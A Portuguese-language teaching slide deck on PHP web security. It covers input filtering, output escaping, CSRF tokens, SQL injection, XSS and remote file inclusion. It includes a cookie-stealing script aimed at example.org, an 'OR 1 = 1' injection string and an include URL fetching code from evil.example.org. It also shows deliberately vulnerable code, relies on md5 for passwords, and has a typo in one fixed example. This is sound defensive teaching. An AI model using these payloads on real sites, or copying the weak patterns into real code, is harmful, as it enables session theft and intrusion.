

Segurança

Conceitos

- Segurança não é provida apenas com ferramentas, mas com procedimentos pró-ativos e entendimento do valor do bem a ser protegido
- É uma briga de gato e rato

Toda entrada é maliciosa

- Um dos itens básicos que pode ajudar a se proteger de algum tipo de ataque é definir qual o grau de confiança que se tem nas entradas de dados.
- Se uma determinada entrada de dados é esperada de um modo, o que acontece se essa entrada for maliciosamente modificada, o seu sistema aceita ?

Filtrando Entradas

```
<form method="POST">
```

```
Username: <input type="text" name="username" /><br />
```

```
Password: <input type="text" name="password" /><br />
```

```
Favourite colour: <select name="colour">
```

```
    <option>Red</option>
```

```
    <option>Blue</option>
```

```
    <option>Yellow</option>
```

```
    <option>Green</option>
```

```
</select><br />
```

```
<input type="submit" /></form>
```

Filtrando entradas

```
$clean = array();  
  
if (ctype_alpha($_POST['username'])) {  
    $clean['username'] = $_POST['username'];  
}  
  
if (ctype_alnum($_POST['password'])) {  
    $clean['password'] = $_POST['password'];  
}  
  
$colours = array('Red', 'Blue', 'Yellow', 'Green');  
  
if (in_array($_POST['colour'], $colours)) {  
    $clean['colour'] = $_POST['colour'];  
}
```

Escapando saídas

```
$html = array();  
$html['message'] = htmlentities($user_message, ENT_QUOTES,  
    'UTF-8');  
echo $html['message'];
```

Escapando entradas

```
$clean = array();  
  
if (ctype_alpha($_POST['username'])) {  
    $clean['username'] = $_POST['username'];  
}  
  
$sql = 'SELECT * FROM users WHERE username = :username';  
  
$stmt = $dbh->prepare($sql);  
  
$stmt->bindParam(':username', $clean['username']);  
  
$stmt->execute();  
  
$results = $stmt->fetchAll();
```

register_globals

```
if (checkLogin())  
{  
    $loggedin = TRUE;  
}  
if ($loggedin)  
{  
    // do stuff only for logged in users  
}
```


Spoofed Forms

```
<form method="POST" action="process.php">

<p>Street: <input type="text" name="street" maxlength="100"
/></p>

<p>City: <input type="text" name="city" maxlength="50" /></p>

<p>State: <select name="state">

    <option value="">Pick a state...</option>

    <option value="AL">Alabama</option>

    <option value="AK">Alaska</option>

    <option value="AR">Arizona</option>

    <!-- options continue for all 50 states -->

</select></p>

<p>Zip: <input type="text" name="zip" maxlength="5" /></p>

<p><input type="submit" /></p>

</form>
```

Spoofed Forms

```
<form method="POST" action="http://example.org/process.php">  
<p>Street: <input type="text" name="street" /></p>  
<p>City: <input type="text" name="city" /></p>  
<p>State: <input type="text" name="state" /></p>  
<p>Zip: <input type="text" name="zip" /></p>  
<p><input type="submit" /></p>  
</form>
```

Cross-Site Scripting

```
<form method="POST" action="process.php">
```

```
<p>Add a comment:</p>
```

```
<p><textarea name="comment"></textarea></p>
```

```
<p><input type="submit" /></p>
```

```
</form>
```

Imagine that a malicious user submits a comment on someone's profile

that contains the following content:

```
<script>
```

```
document.location = "http://example.org/getcookies.php?cookies="
```

```
+ document.cookie;
```

```
</script>
```

Cross-Site Request Forgeries

```
session_start();

$token = md5(uniqid(rand(), TRUE));

$_SESSION['token'] = $token;

<form action="checkout.php" method="POST"><input type="hidden"
name="token" value="<?php echo $token; ?>" /> <!-- Remainder of
    form -->

</form>

if (isset($_SESSION['token'])
    && isset($_POST['token'])
    && $_POST['token'] == $_SESSION['token']) {
    // Token is valid, continue processing form data
}
```

Segurança em banco de dados

```
$username = $_POST['username'];  
$password = md5($_POST['password']);  
$sql = "SELECT *  
        FROM users  
        WHERE username = '{ $username }' AND  
        password = '{ $password }'";  
  
/* database connection and query code */  
  
if (count($results) > 0)  
{  
    // Successful login attempt  
}
```

Segurança em banco de dados

- Se a entrada do login for:
 - username' OR 1 = 1 --

SELECT *

FROM users

WHERE username = 'username' OR 1 = 1 --' AND

password = 'd41d8cd98f00b204e9800998ecf8427e'

.

Remote Code Injection

```
include "{$_GET['section']}/data.inc.php";
```

```
http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F
```

```
include "http://evil.example.org/attack.inc?/data.inc.php";
```

Remote Code Injection

```
$clean = array();  
$sections = array('home', 'news', 'photos', 'blog');  
if (in_array($_GET['section'], $sections))  
{  
    $clean['section'] = $_GET['section'];  
}  
else  
{  
    $clean['section'] = 'home';  
}  
include "{clean['section']}/data.inc.php";
```